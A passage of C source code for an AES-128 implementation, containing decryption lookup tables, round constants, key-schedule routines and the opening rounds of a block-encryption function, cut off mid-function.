0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU,
|
||||
0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU,
|
||||
0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU,
|
||||
0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U,
|
||||
0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU,
|
||||
0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U,
|
||||
0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U,
|
||||
0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U,
|
||||
0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU,
|
||||
0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU,
|
||||
0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U,
|
||||
0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU,
|
||||
0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U,
|
||||
0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU,
|
||||
0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU,
|
||||
0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U,
|
||||
0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U,
|
||||
0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U,
|
||||
0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU,
|
||||
0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U,
|
||||
0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU,
|
||||
0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U,
|
||||
0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U,
|
||||
0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U,
|
||||
0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU,
|
||||
0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U,
|
||||
0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U,
|
||||
0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U,
|
||||
0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U,
|
||||
0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U,
|
||||
0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U,
|
||||
0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU,
|
||||
0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU,
|
||||
0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U,
|
||||
0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU,
|
||||
0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U,
|
||||
0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU,
|
||||
0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU,
|
||||
0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U,
|
||||
0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU,
|
||||
0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U,
|
||||
0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U,
|
||||
0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U,
|
||||
0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U,
|
||||
0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U,
|
||||
0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U,
|
||||
0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U,
|
||||
0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU,
|
||||
0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U,
|
||||
0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U,
|
||||
0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU,
|
||||
0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U,
|
||||
0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U,
|
||||
0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U,
|
||||
0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U,
|
||||
};
|
||||
|
||||
static const unsigned int Td2[256] =
|
||||
{
|
||||
0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U,
|
||||
0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U,
|
||||
0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U,
|
||||
0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U,
|
||||
0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU,
|
||||
0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U,
|
||||
0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U,
|
||||
0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U,
|
||||
0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U,
|
||||
0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU,
|
||||
0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U,
|
||||
0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U,
|
||||
0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU,
|
||||
0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U,
|
||||
0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U,
|
||||
0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U,
|
||||
0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U,
|
||||
0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U,
|
||||
0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U,
|
||||
0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU,
|
||||
0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U,
|
||||
0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U,
|
||||
0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U,
|
||||
0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U,
|
||||
0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U,
|
||||
0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU,
|
||||
0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU,
|
||||
0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U,
|
||||
0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU,
|
||||
0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U,
|
||||
0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU,
|
||||
0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU,
|
||||
0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU,
|
||||
0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU,
|
||||
0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U,
|
||||
0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U,
|
||||
0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U,
|
||||
0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U,
|
||||
0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U,
|
||||
0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U,
|
||||
0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U,
|
||||
0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU,
|
||||
0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU,
|
||||
0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U,
|
||||
0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U,
|
||||
0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU,
|
||||
0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU,
|
||||
0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U,
|
||||
0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U,
|
||||
0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U,
|
||||
0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U,
|
||||
0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U,
|
||||
0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U,
|
||||
0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U,
|
||||
0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU,
|
||||
0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U,
|
||||
0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U,
|
||||
0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U,
|
||||
0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U,
|
||||
0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U,
|
||||
0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U,
|
||||
0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU,
|
||||
0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U,
|
||||
0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U,
|
||||
};
|
||||
|
||||
static const unsigned int Td3[256] =
|
||||
{
|
||||
0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU,
|
||||
0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU,
|
||||
0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U,
|
||||
0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U,
|
||||
0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU,
|
||||
0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU,
|
||||
0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U,
|
||||
0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU,
|
||||
0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U,
|
||||
0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU,
|
||||
0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U,
|
||||
0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U,
|
||||
0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U,
|
||||
0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U,
|
||||
0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U,
|
||||
0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU,
|
||||
0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU,
|
||||
0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U,
|
||||
0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U,
|
||||
0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU,
|
||||
0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU,
|
||||
0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U,
|
||||
0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U,
|
||||
0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U,
|
||||
0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U,
|
||||
0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU,
|
||||
0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U,
|
||||
0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U,
|
||||
0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU,
|
||||
0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU,
|
||||
0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U,
|
||||
0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U,
|
||||
0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U,
|
||||
0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU,
|
||||
0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U,
|
||||
0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U,
|
||||
0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U,
|
||||
0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U,
|
||||
0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U,
|
||||
0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U,
|
||||
0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U,
|
||||
0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU,
|
||||
0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U,
|
||||
0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U,
|
||||
0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU,
|
||||
0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU,
|
||||
0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U,
|
||||
0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU,
|
||||
0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U,
|
||||
0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U,
|
||||
0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U,
|
||||
0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U,
|
||||
0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U,
|
||||
0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U,
|
||||
0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU,
|
||||
0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU,
|
||||
0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU,
|
||||
0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU,
|
||||
0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U,
|
||||
0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U,
|
||||
0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U,
|
||||
0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU,
|
||||
0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U,
|
||||
0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U,
|
||||
};
|
||||
|
||||
static const unsigned int Td4[256] =
|
||||
{
|
||||
0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U,
|
||||
0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U,
|
||||
0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU,
|
||||
0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU,
|
||||
0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U,
|
||||
0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U,
|
||||
0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U,
|
||||
0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU,
|
||||
0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U,
|
||||
0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU,
|
||||
0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU,
|
||||
0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU,
|
||||
0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U,
|
||||
0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U,
|
||||
0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U,
|
||||
0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U,
|
||||
0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U,
|
||||
0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U,
|
||||
0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU,
|
||||
0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U,
|
||||
0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U,
|
||||
0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU,
|
||||
0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U,
|
||||
0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U,
|
||||
0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U,
|
||||
0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU,
|
||||
0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U,
|
||||
0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U,
|
||||
0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU,
|
||||
0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U,
|
||||
0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U,
|
||||
0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU,
|
||||
0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U,
|
||||
0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU,
|
||||
0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU,
|
||||
0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U,
|
||||
0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U,
|
||||
0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U,
|
||||
0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U,
|
||||
0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU,
|
||||
0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U,
|
||||
0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U,
|
||||
0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU,
|
||||
0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU,
|
||||
0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU,
|
||||
0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U,
|
||||
0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU,
|
||||
0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U,
|
||||
0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U,
|
||||
0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U,
|
||||
0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U,
|
||||
0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU,
|
||||
0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U,
|
||||
0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU,
|
||||
0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU,
|
||||
0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU,
|
||||
0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU,
|
||||
0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U,
|
||||
0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU,
|
||||
0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U,
|
||||
0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU,
|
||||
0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U,
|
||||
0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U,
|
||||
0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU,
|
||||
};
|
||||
|
||||
static const unsigned int rcon[10] = {
|
||||
0x01000000, 0x02000000, 0x04000000, 0x08000000,
|
||||
0x10000000, 0x20000000, 0x40000000, 0x80000000,
|
||||
0x1B000000, 0x36000000
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
unsigned int roundkey[44];
|
||||
unsigned int iv[4];
|
||||
} AES_CTX;
|
||||
|
||||
static void AES_EncryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) {
|
||||
ctx->roundkey[0] = GETU32(key + 0);
|
||||
ctx->roundkey[1] = GETU32(key + 4);
|
||||
ctx->roundkey[2] = GETU32(key + 8);
|
||||
ctx->roundkey[3] = GETU32(key + 12);
|
||||
|
||||
ctx->iv[0] = GETU32(iv + 0);
|
||||
ctx->iv[1] = GETU32(iv + 4);
|
||||
ctx->iv[2] = GETU32(iv + 8);
|
||||
ctx->iv[3] = GETU32(iv + 12);
|
||||
|
||||
for (unsigned char index = 4; index < 44; index += 4) {
|
||||
ctx->roundkey[index] = ctx->roundkey[index - 4] ^
|
||||
(Te4[(ctx->roundkey[index - 1] >> 16) & 0xff] & 0xff000000) ^
|
||||
(Te4[(ctx->roundkey[index - 1] >> 8) & 0xff] & 0x00ff0000) ^
|
||||
(Te4[(ctx->roundkey[index - 1] >> 0) & 0xff] & 0x0000ff00) ^
|
||||
(Te4[(ctx->roundkey[index - 1] >> 24) & 0xff] & 0x000000ff) ^ rcon[index / 4 - 1];
|
||||
ctx->roundkey[index + 1] = ctx->roundkey[index - 3] ^ ctx->roundkey[index];
|
||||
ctx->roundkey[index + 2] = ctx->roundkey[index - 2] ^ ctx->roundkey[index + 1];
|
||||
ctx->roundkey[index + 3] = ctx->roundkey[index - 1] ^ ctx->roundkey[index + 2];
|
||||
}
|
||||
}
|
||||
|
||||
static void AES_DecryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) {
|
||||
AES_EncryptInit(ctx, key, iv);
|
||||
|
||||
unsigned int temp;
|
||||
|
||||
// Next, invert the order of the round keys.
|
||||
for (unsigned char i = 0, j = 40; i < j; i += 4, j -= 4) {
|
||||
for (uint8_t k = 0; k < 4; k++) {
|
||||
temp = ctx->roundkey[i + k];
|
||||
ctx->roundkey[i + k] = ctx->roundkey[j + k];
|
||||
ctx->roundkey[j + k] = temp;
|
||||
}
|
||||
}
|
||||
|
||||
// Finally, apply the inverse MixColumn transform to all round keys except the first and last.
|
||||
for (unsigned char index = 4; index < 40; index += 4) {
|
||||
ctx->roundkey[index] =
|
||||
Td0[Te4[(ctx->roundkey[index] >> 24) & 0xff] & 0xff] ^
|
||||
Td1[Te4[(ctx->roundkey[index] >> 16) & 0xff] & 0xff] ^
|
||||
Td2[Te4[(ctx->roundkey[index] >> 8) & 0xff] & 0xff] ^
|
||||
Td3[Te4[(ctx->roundkey[index] >> 0) & 0xff] & 0xff];
|
||||
ctx->roundkey[index + 1] =
|
||||
Td0[Te4[(ctx->roundkey[index + 1] >> 24) & 0xff] & 0xff] ^
|
||||
Td1[Te4[(ctx->roundkey[index + 1] >> 16) & 0xff] & 0xff] ^
|
||||
Td2[Te4[(ctx->roundkey[index + 1] >> 8) & 0xff] & 0xff] ^
|
||||
Td3[Te4[(ctx->roundkey[index + 1] >> 0) & 0xff] & 0xff];
|
||||
ctx->roundkey[index + 2] =
|
||||
Td0[Te4[(ctx->roundkey[index + 2] >> 24) & 0xff] & 0xff] ^
|
||||
Td1[Te4[(ctx->roundkey[index + 2] >> 16) & 0xff] & 0xff] ^
|
||||
Td2[Te4[(ctx->roundkey[index + 2] >> 8) & 0xff] & 0xff] ^
|
||||
Td3[Te4[(ctx->roundkey[index + 2] >> 0) & 0xff] & 0xff];
|
||||
ctx->roundkey[index + 3] =
|
||||
Td0[Te4[(ctx->roundkey[index + 3] >> 24) & 0xff] & 0xff] ^
|
||||
Td1[Te4[(ctx->roundkey[index + 3] >> 16) & 0xff] & 0xff] ^
|
||||
Td2[Te4[(ctx->roundkey[index + 3] >> 8) & 0xff] & 0xff] ^
|
||||
Td3[Te4[(ctx->roundkey[index + 3] >> 0) & 0xff] & 0xff];
|
||||
}
|
||||
}
|
||||
|
||||
static void AES_Encrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) {
|
||||
unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset;
|
||||
|
||||
// Initial round
|
||||
s0 = GETU32(in_data + 0) ^ ctx->iv[0] ^ ctx->roundkey[0];
|
||||
s1 = GETU32(in_data + 4) ^ ctx->iv[1] ^ ctx->roundkey[1];
|
||||
s2 = GETU32(in_data + 8) ^ ctx->iv[2] ^ ctx->roundkey[2];
|
||||
s3 = GETU32(in_data + 12) ^ ctx->iv[3] ^ ctx->roundkey[3];
|
||||
|
||||
// round 1
|
||||
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[ 4];
|
||||
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[ 5];
|
||||
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[ 6];
|
||||
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[ 7];
|
||||
// round 2
|
||||
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[ 8];
|
||||
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[ 9];
|
||||
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[10];
|
||||
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[11];
|
||||
// round 3
|
||||
